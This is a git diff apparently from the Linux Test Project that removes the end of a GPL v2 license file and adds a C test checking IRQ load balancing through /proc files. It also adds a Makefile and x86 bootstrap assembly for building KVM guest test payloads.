-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/kernel/irq/.gitignore b/testcases/kernel/irq/.gitignore
new file mode 100644
index 0000000..8ed69a9
--- /dev/null
+++ b/testcases/kernel/irq/.gitignore
@@ -0,0 +1 @@
+irqbalance01
diff --git a/testcases/kernel/irq/Makefile b/testcases/kernel/irq/Makefile
new file mode 100644
index 0000000..aa51da7
--- /dev/null
+++ b/testcases/kernel/irq/Makefile
@@ -0,0 +1,7 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/irq/irqbalance01.c b/testcases/kernel/irq/irqbalance01.c
new file mode 100644
index 0000000..a3d29ae
--- /dev/null
+++ b/testcases/kernel/irq/irqbalance01.c
@@ -0,0 +1,315 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2021 SUSE LLC <rpalethorpe@suse.com> */
+/*\
+ * [Description]
+ *
+ * Check that something (e.g. irqbalance daemon) is performing IRQ
+ * load balancing.
+ *
+ * On many systems userland needs to set /proc/irq/$IRQ/smp_affinity
+ * to prevent many IRQs being delivered to the same CPU.
+ *
+ * Note some drivers and IRQ controllers will distribute IRQs
+ * evenly. Some systems will have housekeeping CPUs configured. Some
+ * IRQs can not be masked etc. So this test is not appropriate for all
+ * scenarios.
+ *
+ * Furthermore, exactly how IRQs should be distributed is a
+ * performance and/or security issue. This is only a generic smoke
+ * test. It will hopefully detect misconfigured systems and total
+ * balancing failures which are often silent errors.
+ *
+ * Heuristic: Evidence of Change
+ *
+ * 1. Find IRQs with a non-zero count
+ * 2. Check if they are now disallowed
+ *
+ * There are two sources of information we need to parse:
+ *
+ * 1. /proc/interrupts
+ * 2. /proc/irq/$IRQ/smp_affinity
+ *
+ * We get the active IRQs and CPUs from /proc/interrupts. It also
+ * contains the per-CPU IRQ counts and info we do not care about.
+ *
+ * We get the IRQ masks from each active IRQ's smp_affinity file. This
+ * is a bitmask written out in hexadecimal format. It shows which CPUs
+ * an IRQ may be received by.
+ */
+
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "tst_safe_file_at.h"
+
+enum affinity {
+	ALLOW = '+',
+	DENY = '-',
+};
+
+static unsigned int *irq_stats;
+static enum affinity *irq_affinity;
+
+static unsigned int nr_cpus;
+static unsigned int nr_irqs;
+static unsigned int *irq_ids;
+
+static char *read_proc_file(const char *const path, size_t *const len_out)
+{
+	const size_t pg_len = SAFE_SYSCONF(_SC_PAGESIZE);
+	int fd = SAFE_OPEN(path, O_RDONLY);
+	size_t ret = 0, used_len = 0;
+	static size_t total_len;
+	static char *buf;
+
+	do {
+		if (used_len + 1 >= total_len) {
+			total_len += pg_len;
+			buf = SAFE_REALLOC(buf, total_len);
+		}
+
+		ret = SAFE_READ(0, fd,
+				buf + used_len,
+				total_len - used_len - 1);
+		used_len += ret;
+	} while (ret);
+
+	if (!used_len)
+		tst_brk(TBROK, "Empty %s?", path);
+
+	buf[used_len] = '\0';
+
+	SAFE_CLOSE(fd);
+
+	if (len_out)
+		*len_out = used_len;
+	return buf;
+}
+
+static void collect_irq_info(void)
+{
+	char *buf, *c, *first_row;
+	char path[PATH_MAX];
+	size_t row, col, len;
+	long acc;
+	unsigned int cpu_total, bit;
+
+	nr_cpus = 0;
+	nr_irqs = 0;
+
+	buf = read_proc_file("/proc/interrupts", NULL);
+
+	/* Count CPUs, header columns are like /CPU[0-9]+/ */
+	for (c = buf; *c != '\0' && *c != '\n'; c++) {
+		if (!strncmp(c, "CPU", 3))
+			nr_cpus++;
+	}
+
+	c++;
+	first_row = c;
+	/* Count IRQs, real IRQs start with /[0-9]+:/ */
+	while (*c != '\0') {
+		switch (*c) {
+		case ' ':
+		case '\t':
+		case '\n':
+		case '0' ... '9':
+			c++;
+			break;
+		case ':':
+			nr_irqs++;
+			/* fall-through */
+		default:
+			while (*c != '\n' && *c != '\0')
+				c++;
+		}
+	}
+
+	tst_res(TINFO, "Found %u CPUS, %u IRQs", nr_cpus, nr_irqs);
+
+	irq_ids = SAFE_REALLOC(irq_ids, nr_irqs * sizeof(*irq_ids));
+	irq_stats = SAFE_REALLOC(irq_stats,
+				 nr_cpus * (nr_irqs + 1) * sizeof(*irq_stats));
+	irq_affinity = SAFE_REALLOC(irq_affinity,
+				    nr_cpus * nr_irqs * sizeof(*irq_affinity));
+
+	c = first_row;
+	acc = -1;
+	row = col = 0;
+	/* Parse columns containing IRQ counts and IRQ IDs into acc. Ignore
+	 * everything else.
+	 */
+	while (*c != '\0') {
+		switch (*c) {
+		case ' ':
+		case '\t':
+			if (acc >= 0) {
+				irq_stats[row * nr_cpus + col] = acc;
+				acc = -1;
+				col++;
+			}
+			break;
+		case '\n':
+			if (acc != -1)
+				tst_brk(TBROK, "Unexpected EOL");
+			col = 0;
+			row++;
+			break;
+		case '0' ... '9':
+			if (acc == -1)
+				acc = 0;
+
+			acc *= 10;
+			acc += *c - '0';
+			break;
+		case ':':
+			if (acc == -1 || col != 0)
+				tst_brk(TBROK, "Unexpected ':'");
+			irq_ids[row] = acc;
+			acc = -1;
+			break;
+		default:
+			acc = -1;
+			while (*c != '\n' && *c != '\0')
+				c++;
+			continue;
+		}
+
+		c++;
+	}
+
+	for (col = 0; col < nr_cpus; col++) {
+		cpu_total = 0;
+
+		for (row = 0; row < nr_irqs; row++)
+			cpu_total += irq_stats[row * nr_cpus + col];
+
+		irq_stats[row * nr_cpus + col] = cpu_total;
+	}
+
+	/* Read the CPU affinity masks for each IRQ. The first CPU is in the
+	 * right most (least significant) bit. See bitmap_string() in the kernel
+	 * (%*pb)
+	 */
+	for (row = 0; row < nr_irqs; row++) {
+		sprintf(path, "/proc/irq/%u/smp_affinity", irq_ids[row]);
+		buf = read_proc_file(path, &len);
+		c = buf + len;
+		col = 0;
+
+		while (--c >= buf) {
+			if (col > nr_cpus) {
+				tst_res(TINFO, "%u/smp_affnity: %s",
+					irq_ids[row], buf);
+				tst_brk(TBROK, "More mask char bits than cpus");
+			}
+
+			switch (*c) {
+			case '\n':
+			case ' ':
+			case ',':
+				continue;
+			case '0' ... '9':
+				acc = *c - '0';
+				break;
+			case 'a' ... 'f':
+				acc = 10 + *c - 'a';
+				break;
+			default:
+				tst_res(TINFO, "%u/smp_affnity: %s",
+					irq_ids[row], buf);
+				tst_brk(TBROK, "Wasn't expecting 0x%02x", *c);
+			}
+
+			for (bit = 0; bit < 4 && col < nr_cpus; bit++) {
+				irq_affinity[row * nr_cpus + col++] =
+					(acc & (1 << bit)) ? ALLOW : DENY;
+			}
+		}
+
+		if (col < nr_cpus) {
+			tst_res(TINFO, "%u/smp_affnity: %s", irq_ids[row], buf);
+			tst_brk(TBROK, "Only found %zu cpus", col);
+		}
+	}
+}
+
+static void print_irq_info(void)
+{
+	size_t row, col;
+	unsigned int count;
+	enum affinity aff;
+
+	tst_printf("  IRQ       ");
+	for (col = 0; col < nr_cpus; col++)
+		tst_printf("CPU%-8zu", col);
+
+	tst_printf("\n");
+
+	for (row = 0; row < nr_irqs; row++) {
+		tst_printf("%5u:", irq_ids[row]);
+
+		for (col = 0; col < nr_cpus; col++) {
+			count = irq_stats[row * nr_cpus + col];
+			aff = irq_affinity[row * nr_cpus + col];
+
+			tst_printf("%10u%c", count, aff);
+		}
+
+		tst_printf("\n");
+	}
+
+	tst_printf("Total:");
+
+	for (col = 0; col < nr_cpus; col++)
+		tst_printf("%10u ", irq_stats[row * nr_cpus + col]);
+
+	tst_printf("\n");
+}
+
+static void evidence_of_change(void)
+{
+	size_t row, col, changed = 0;
+
+	for (row = 0; row < nr_irqs; row++) {
+		for (col = 0; col < nr_cpus; col++) {
+			if (!irq_stats[row * nr_cpus + col])
+				continue;
+
+			if (irq_affinity[row * nr_cpus + col] == ALLOW)
+				continue;
+
+			changed++;
+		}
+	}
+
+	tst_res(changed ? TPASS : TFAIL,
+		"Heuristic: Detected %zu irq-cpu pairs have been dissallowed",
+		changed);
+}
+
+static void setup(void)
+{
+	collect_irq_info();
+	print_irq_info();
+
+	if (nr_cpus < 1)
+		tst_brk(TBROK, "No CPUs found in /proc/interrupts?");
+
+	if (nr_irqs < 1)
+		tst_brk(TBROK, "No IRQs found in /proc/interrupts?");
+}
+
+static void run(void)
+{
+	collect_irq_info();
+
+	evidence_of_change();
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.min_cpus = 2,
+};
diff --git a/testcases/kernel/kvm/.gitignore b/testcases/kernel/kvm/.gitignore
new file mode 100644
index 0000000..3492603
--- /dev/null
+++ b/testcases/kernel/kvm/.gitignore
@@ -0,0 +1 @@
+/kvm_pagefault01
diff --git a/testcases/kernel/kvm/Makefile b/testcases/kernel/kvm/Makefile
new file mode 100644
index 0000000..6986844
--- /dev/null
+++ b/testcases/kernel/kvm/Makefile
@@ -0,0 +1,66 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 Linux Test Project
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+ASFLAGS =
+CPPFLAGS += -I$(abs_srcdir)/include
+GUEST_CPPFLAGS = $(CPPFLAGS) -DCOMPILE_PAYLOAD
+GUEST_CFLAGS = -ffreestanding -O2 -Wall -fno-asynchronous-unwind-tables -mno-mmx -mno-sse
+GUEST_LDFLAGS = -nostdlib -Wl,--build-id=none -fno-stack-protector
+GUEST_LDLIBS =
+KVM_LD ?= $(LD)
+
+FILTER_OUT_MAKE_TARGETS := lib_guest lib_host lib_x86
+
+ifeq ($(HOST_CPU),x86_64)
+	ifneq (,$(findstring m32,$(CFLAGS)))
+		HOST_CPU = x86
+	endif
+endif
+
+ifeq ($(HOST_CPU),x86)
+	GUEST_CFLAGS += -m32
+	ASFLAGS += --32
+endif
+
+# Some distros enable -pie by default. That breaks KVM payload linking.
+ifdef LTP_CFLAGS_NOPIE
+	GUEST_CFLAGS += -fno-pie
+	GUEST_LDFLAGS += -no-pie
+endif
+
+GUEST_LDFLAGS += -Wl,-T$(abs_srcdir)/linker/$(HOST_CPU).lds
+ARCH_OBJ = bootstrap_$(HOST_CPU).o
+
+ifeq ($(HOST_CPU),x86_64)
+ARCH_OBJ += lib_x86.o
+BIN_FORMAT=elf64-x86-64
+else ifeq ($(HOST_CPU),x86)
+ARCH_OBJ += lib_x86.o
+BIN_FORMAT=elf32-i386
+else
+MAKE_TARGETS =
+endif
+
+lib_guest.o $(ARCH_OBJ): CPPFLAGS	:= $(GUEST_CPPFLAGS)
+lib_guest.o $(ARCH_OBJ): CFLAGS		:= $(GUEST_CFLAGS)
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+%-payload.o: %.c lib_guest.o $(ARCH_OBJ)
+ifdef VERBOSE
+	$(CC) $(GUEST_CPPFLAGS) $(GUEST_CFLAGS) $(GUEST_LDFLAGS) -o $*-payload.elf $^ $(GUEST_LDLIBS)
+	objcopy -O binary -j .init.boot -j .text -j .data -j .init -j .preinit_array -j .init_array --gap-fill=0 $*-payload.elf $*-payload.bin
+	$(KVM_LD) -z noexecstack -r -T $(abs_srcdir)/linker/payload.lds --oformat=$(BIN_FORMAT) -o $@ $*-payload.bin
+else
+	@$(CC) $(GUEST_CPPFLAGS) $(GUEST_CFLAGS) $(GUEST_LDFLAGS) -o $*-payload.elf $^ $(GUEST_LDLIBS)
+	@objcopy -O binary -j .init.boot -j .text -j .data -j .init -j .preinit_array -j .init_array --gap-fill=0 $*-payload.elf $*-payload.bin
+	@$(KVM_LD) -z noexecstack -r -T $(abs_srcdir)/linker/payload.lds --oformat=$(BIN_FORMAT) -o $@ $*-payload.bin
+	@echo KVM_CC $(target_rel_dir)$@
+endif
+	@rm $*-payload.elf $*-payload.bin
+
+$(MAKE_TARGETS): %: %-payload.o lib_host.o
diff --git a/testcases/kernel/kvm/bootstrap_x86.S b/testcases/kernel/kvm/bootstrap_x86.S
new file mode 100644
index 0000000..6b079cd
--- /dev/null
+++ b/testcases/kernel/kvm/bootstrap_x86.S
@@ -0,0 +1,368 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2020 SUSE LLC
+ * Author: Nicolai Stange <nstange@suse.de>
+ * LTP port: Martin Doucha <mdoucha@suse.cz>
+ */
+
+.set KVM_TEXIT, 0xff
+.set RESULT_ADDRESS, 0xfffff000
+
+/*
+ * This section will be allocated at address 0x1000 and
+ * jumped to from the reset stub provided by kvm_run.
+ */
+.code16
+.section .init.protected_mode, "ax"
+real_mode_entry:
+	cli
+
+	lgdt kvm_gdt_desc
+
+	mov $0x11, %eax
+	mov %eax, %cr0
+
+	jmp $1 * 8, $protected_mode_entry
+
+.code32
+protected_mode_entry:
+	mov $2 * 8, %eax
+	mov %eax, %ds
+	mov %eax, %es
+	jmp init_memlayout
+
+.section .data.gdt32, "a", @progbits
+
+.macro gdt32_entry type:req l=0 d=0 dpl=0 limit=0xfffff g=1 p=1
+	.4byte \limit & 0xffff
+	.2byte (\type << 8) | (\dpl << 13) | (\p << 15)
+	.2byte (\limit >> 16) | (\l << 5) | (\d << 6) | (\g << 7)
+.endm
+.align 8
+.global kvm_gdt
+kvm_gdt:
+	.8byte 0
+	gdt32_entry type=0x1a l=0 d=1 /* Code segment protected_mode, 32bits */
+	gdt32_entry type=0x12 /* Data segment, writable */
+	.skip 16 /* Stack and TSS segment descriptors */
+
+.Lgdt_end:
+.global kvm_gdt_desc
+kvm_gdt_desc:
+	.2byte .Lgdt_end - kvm_gdt - 1
+	.4byte kvm_gdt
+
+.code32
+.section .init.memlayout, "ax"
+init_memlayout:
+	/*
+	 * Identity-map the first 2GB of virtual address space.
+	 */
+	lea kvm_pagetable, %edi
+	lea kvm_pgtable_l2, %esi
+	movl %esi, %eax
+	mov $1024, %ecx
+
+1:	movl %eax, %ebx
+	orl $0x3, %ebx		/* Flags: present, writable */
+	movl %ebx, (%edi)
+	addl $4, %edi
+	addl $4096, %eax
+	dec %ecx
+	jnz 1b
+
+	/* Fill kvm_pgtable_l2 with identity map of the first 2GB. */
+	movl %esi, %edi
+	movl $512 * 1024, %ecx
+	xor %eax, %eax
+
+1:	movl %eax, %ebx
+	orl $0x3, %ebx		/* Flags: present, writable */
+	movl %ebx, (%edi)
+	addl $4, %edi
+	addl $4096, %eax
+	dec %ecx
+	jnz 1b
+
+	/* Mark the upper 2GB as unmapped except for the last page. */
+	movl $512 * 1024 - 1, %ecx
+	xor %eax, %eax
+	rep stosl
+	movl $0xfffff003, (%edi)
+
+	/*
+	 * Install new pagetable to CR3 and enable memory paging by setting
+	 * CR0.WP and CR0.PG
+	 */
+	lea kvm_pagetable, %eax
+	movl %eax, %cr3
+	movl %cr0, %eax
+	btsl $31, %eax
+	btsl $16, %eax
+	movl %eax, %cr0
+
+	/* Init TSS */
+	lea kvm_tss, %edx
+	movl %edx, %edi
+	movl $.Ltss_end - kvm_tss, %ecx
+	xor %eax, %eax
+	rep stosb
+	movl %edx, %edi
+	lea kvm_stack_top, %edx
+	movl %edx, 4(%edi)
+
+	/* Create a stack descriptor in the 4th GDT slot */
+	/* Base address: 0x0, Limit: kvm_stack_bottom */
+	xor %eax, %eax
+	movl $0xc09600, %ebx /* flags + access bits */
+	movl $kvm_stack_bottom - 1, %edx
+	shr $12, %edx
+	movw %dx, %ax
+	andl $0xf0000, %edx
+	orl %edx, %ebx
+
+	lea kvm_gdt + 3*8, %edi
+	mov %eax, (%edi)
+	mov %ebx, 4(%edi)
+	mov $3 * 8, %eax
+	mov %ax, %ss
+	lea kvm_stack_top, %esp
+
+	/* Create a TSS descriptor in the 5th GDT slot */
+	lea kvm_tss, %edx
+	movl %edx, %ebx
+	andl $0xff000000, %ebx
+	movl %edx, %eax
+	shr $16, %eax
+	movb %al, %bl
+	orl $0x408900, %ebx /* flags + access bits */
+
+	movl %edx, %eax
+	movl $.Ltss_end - kvm_tss - 1, %edx
+	shl $16, %eax
+	movw %dx, %ax
+	andl $0xf0000, %edx
+	orl %edx, %ebx
+
+	lea kvm_gdt + 4*8, %edi
+	mov %eax, (%edi)
+	mov %ebx, 4(%edi)
+	mov $4 * 8, %ax
+	ltr %ax
+
+	/* Configure and enable interrupts */
+	call kvm_init_interrupts
+	lidt kvm_idt_desc
+	sti
+
+	/*
+	 * Do just enough of initialization to get to a working
+	 * -ffreestanding environment and call tst_main(void).
+	 */
+	lea __preinit_array_begin, %edi
+	lea __preinit_array_end, %esi
+1:
+	cmp %edi, %esi
+	je 2f
+	call *(%edi)
+	add $4, %edi
+	jmp 1b
+2:
+
+	lea __init_array_begin, %edi
+	lea __init_array_end, %esi
+1:
+	cmp %edi, %esi
+	je 2f
+	call *(%edi)
+	add $4, %edi
+	jmp 1b
+2:
+	call main
+	jmp kvm_exit
+
+.global kvm_read_cregs
+kvm_read_cregs:
+	push %edi
+	mov 8(%esp), %edi
+	mov %cr0, %eax
+	mov %eax, (%edi)
+	mov %cr2, %eax
+	mov %eax, 4(%edi)
+	mov %cr3, %eax
+	mov %eax, 8(%edi)
+	mov %cr4, %eax
+	mov %eax, 12(%edi)
+	pop %edi
+	ret
+
+handle_interrupt:
+	/* save CPU state */
+	push %ebp
+	mov %esp, %ebp
+	addl $12, %ebp
+	pushal
+
+	/* call handler */
+	push -4(%ebp)
+	push -8(%ebp)
+	push %ebp
+	cld
+	call tst_handle_interrupt
+	addl $12, %esp
+	popal
+	pop %ebp
+	addl $8, %esp
+	iret
+
+.macro create_intr_handler vector:req padargs=0
+.if \padargs
+	pushl $0	/* push dummy error code */
+.endif
+	pushl $\vector
+	jmp handle_interrupt
+.endm
+
+.global kvm_handle_zerodiv
+kvm_handle_zerodiv:
+	create_intr_handler 0, padargs=1
+
+.global kvm_handle_debug
+kvm_handle_debug:
+	create_intr_handler 1, padargs=1
+
+.global kvm_handle_nmi
+kvm_handle_nmi:
+	create_intr_handler 2, padargs=1
+
+.global kvm_handle_breakpoint
+kvm_handle_breakpoint:
+	create_intr_handler 3, padargs=1
+
+.global kvm_handle_overflow
+kvm_handle_overflow:
+	create_intr_handler 4, padargs=1
+
+.global kvm_handle_bound_range_exc
+kvm_handle_bound_range_exc:
+	create_intr_handler 5, padargs=1
+
+.global kvm_handle_bad_opcode
+kvm_handle_bad_opcode:
+	create_intr_handler 6, padargs=1
+
+.global kvm_handle_device_error
+kvm_handle_device_error:
+	create_intr_handler 7, padargs=1
+
+.global kvm_handle_double_fault
+kvm_handle_double_fault:
+	create_intr_handler 8
+
+.global kvm_handle_invalid_tss
+kvm_handle_invalid_tss:
+	create_intr_handler 10
+
+.global kvm_handle_segfault
+kvm_handle_segfault:
+	create_intr_handler 11
+
+.global kvm_handle_stack_fault
+kvm_handle_stack_fault:
+	create_intr_handler 12
+
+.global kvm_handle_gpf
+kvm_handle_gpf:
+	create_intr_handler 13
+
+.global kvm_handle_page_fault
+kvm_handle_page_fault:
+	create_intr_handler 14
+
+.global kvm_handle_fpu_error
+kvm_handle_fpu_error:
+	create_intr_handler 16, padargs=1
+
+.global kvm_handle_alignment_error
+kvm_handle_alignment_error:
+	create_intr_handler 17
+
+.global kvm_handle_machine_check
+kvm_handle_machine_check:
+	create_intr_handler 18, padargs=1
+
+.global kvm_handle_simd_error
+kvm_handle_simd_error:
+	create_intr_handler 19, padargs=1
+
+.global kvm_handle_virt_error
+kvm_handle_virt_error:
+	create_intr_handler 20, padargs=1
+
+.global kvm_handle_cpe
+kvm_handle_cpe:
+	create_intr_handler 21
+
+.global kvm_handle_hv_injection
+kvm_handle_hv_injection:
+	create_intr_handler 28, padargs=1
+
+.global kvm_handle_vmm_comm
+kvm_handle_vmm_comm:
+	create_intr_handler 29
+
+.global kvm_handle_security_error
+kvm_handle_security_error:
+	create_intr_handler 30
+
+.global kvm_handle_bad_exception
+kvm_handle_bad_exception:
+	create_intr_handler -1, padargs=1
+
+.global kvm_exit
+kvm_exit:
+	movl $RESULT_ADDRESS, %edi
+	movl $KVM_TEXIT, (%edi)
+	hlt
+	jmp kvm_exit
+
+.global kvm_yield
+kvm_yield:
+	hlt
+	ret
+
+
+.section .bss.pgtables, "aw", @nobits
+.global kvm_pagetable
+kvm_pagetable:
+	.skip 4096
+
+kvm_pgtable_l2:
+	.skip 1024 * 4096
+
+.section .bss.stack, "aw", @nobits
+.global kvm_stack_bottom
+kvm_stack_bottom:
